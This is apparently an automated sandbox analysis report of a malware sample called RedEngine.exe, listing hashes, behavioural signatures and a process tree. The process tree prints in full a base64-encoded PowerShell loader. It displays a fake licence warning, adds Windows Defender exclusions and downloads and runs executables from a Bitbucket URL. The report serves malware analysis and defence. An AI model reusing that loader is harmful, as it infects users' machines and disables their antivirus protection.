Analysis
-
max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
05-04-2024 17:02
Static task
static1
Behavioral task
behavioral1
Sample
RedEngine.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
RedEngine.exe
Resource
win10v2004-20240226-en
General
-
Target
RedEngine.exe
-
Size
74KB
-
MD5
8fb7a6bd32200aea3f517923285e39a8
-
SHA1
dc5c1e8293cce5d82c5d7d338fb3cee57d2b997d
-
SHA256
ccc95afa02727297eb7f6bbbe5e06d011ce4656c3b563e2841fad60d471e2f26
-
SHA512
1445bc293350022e9302374df3915e71f3b8bd281db5a43bf67362b002896404e21a58e68963a6203d6ab04dffd5745c2ce1d2fbd650975936b327befa15e3a1
-
SSDEEP
384:UWWFjyor85Z6coSQJ14p9FfVg6FHkosvxB2JeJhrpX5m4KbfocN4UCMfKqIOmRUG:ua5ZRo34pdsvpA1c3UzD9eXOeOiict9
Malware Config
Signatures
-
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 5 2480 powershell.exe 6 2480 powershell.exe 7 2480 powershell.exe 8 2480 powershell.exe 9 2480 powershell.exe 10 2480 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
Processes:
flow ioc 6 bitbucket.org 7 bitbucket.org 8 bitbucket.org 9 bitbucket.org 10 bitbucket.org 4 bitbucket.org 5 bitbucket.org -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 2480 powershell.exe 2480 powershell.exe 2480 powershell.exe 2740 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2480 powershell.exe Token: SeDebugPrivilege 2740 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
RedEngine.exepowershell.exedescription pid process target process PID 2208 wrote to memory of 2480 2208 RedEngine.exe powershell.exe PID 2208 wrote to memory of 2480 2208 RedEngine.exe powershell.exe PID 2208 wrote to memory of 2480 2208 RedEngine.exe powershell.exe PID 2208 wrote to memory of 2480 2208 RedEngine.exe powershell.exe PID 2480 wrote to memory of 2740 2480 powershell.exe powershell.exe PID 2480 wrote to memory of 2740 2480 powershell.exe powershell.exe PID 2480 wrote to memory of 2740 2480 powershell.exe powershell.exe PID 2480 wrote to memory of 2740 2480 powershell.exe powershell.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\RedEngine.exe"C:\Users\Admin\AppData\Local\Temp\RedEngine.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2208 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeQBkACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHUAZgBoACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcATgBvACAAbABpAGMAZQBuAHMAZQAhACAAQwBvAG4AbgBlAGMAdAAgAHkAbwB1AHIAIABTAHQAZQBhAG0AIABhAGMAYwBvAHUAbgB0ACAAaQBuACAAbwByAGQAZQByACAAdABvACAAZwBlAHQAIABhACAAbABpAGMAZQBuAHMAZQAuACAATQBhAGsAZQAgAHMAdQByAGUAIAB0AGgAYQB0ACAAeQBvAHUAIABhAHIAZQAgAG4AbwB0ACAAdQBzAGkAbgBnACAAYQBsAHQAZQByAG4AYQB0AGkAdgBlACAAYQBjAGMAbwB1AG4AdAAsACAAbwB0AGgAZQByAHcAaQBzAGUAIABsAGkAYwBlAG4AcwBlACAAdwBpAGwAbAAgAG4AbwB0ACAAYgBlACAAZwBpAHYAZQBuAC4AIAAoAFQAaABpAHMAIABpAHMAIABkAG8AbgBlACAAdABvACAAcAByAGUAdgBlAG4AdAAgAGMAcgBhAGMAawBpAG4AZwApACcALAAnACcALAAnAE8ASwAnACwAJwBXAGEAcgBuAGkAbgBnACcAKQA8ACMAegBxAGUAIwA+ADsAIgA7ADwAIwBsAGIAcgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGgAYwBmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGIAcABnACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAcwBpACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAGkAdABiAHUAYwBrAGUAdAAuAG8AcgBnAC8AZABhAGcAZQB3AGgALwB0AGUAcwB0ADYAMwA0ADIANQAvAHIAYQB3AC8AMwAwADAANQBkAGQAMgBkADUANwAzADcAOQA4ADMAMQAyADQAMwAwADEAYQBkADgANgA0ADIANwA4AGYAZgA1ADMAMwBjAGMAOQA3ADEAYQAvAEwAZQB2AGkAUAByAG8AdAAuAGUAeABlACcALAAgADwAIwB6AHEAbQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGkAagBmACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAbQBmACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGwAaQBjAC4AZQB4AGUAJwApACkAPAAjAHQAZgB2ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAaQB0AGIAdQBjAGsAZQB0AC4AbwByAGcALwBkAGEAZwBlAHcAaAAvAHQAZQBzAHQANgAzADQAMgA1AC8AcgBhAHcALwAzADAAMAA1AGQAZAAyAGQANQA3ADMANwA5ADgAMwAxADIANAAzADAAMQBhAGQAOAA2ADQAMgA3ADgAZgBmADUAMwAzAGMAYwA5ADcAMQBhAC8ATABlAHYAaQBhAHQAaABhAG4ALgBlAHgAZQAnACwAIAA8ACMAagBkAGIAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAHYAdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBhAGIAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBsAGkAYwBjAGgAZQBjAGsALgBlAHgAZQAnACkAKQA8ACMAdQBjAGEAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAYgB1AGMAawBlAHQALgBvAHIAZwAvAGQAYQBnAGUAdwBoAC8AdABlAHMAdAA2ADMANAAyADUALwByAGEAdwAvADMAMAAwADUAZABkADIAZAA1ADcAMwA3ADkAOAAzADEAMgA0ADMAMAAxAGEAZAA4ADYANAAyADcAOABmAGYANQAzADMAYwBjADkANwAxAGEALwBMAGUAdgBpAHQAZQBuAC4AZQB4AGUAJwAsACAAPAAjAGcAeQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAbABwAHgAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaAB0AGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMARwBlAHQALgBlAHgAZQAnACkAKQA8ACMAdwBrAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABnAGMAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGsAZABuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGwAaQBjAC4AZQB4AGUAJwApADwAIwBpAGcAcgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB4AHoAYwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdQB6AGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbABpAGMAYwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwBoAHAAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AHEAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbABpAHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATABpAGMARwBlAHQALgBlAHgAZQAnACkAPAAjAGsAcwBrACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2480 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#ufh#>[System.Windows.Forms.MessageBox]::Show('No license! Connect your Steam account in order to get a license. Make sure that you are not using alternative account, otherwise license will not be given. (This is done to prevent cracking)','','OK','Warning')<#zqe#>;3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2740
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5e18bf9ef2d4bf0df46948f1d0b19ca29
SHA1d988a382466ea3032b44afe993e3286cbd002d9d
SHA256c52577eb0a2778b929476ed2f6f60e1be466050a32c0bf1b7a93bffa8dcff4e4
SHA512f12d7dbed9802a9a47c75c453fffb265c8d8c514395cec45b41c93adc26d6c09f0bdd4ea99e31bd397875251987ff78bfa4e548602bfeae231e1a6572ac39695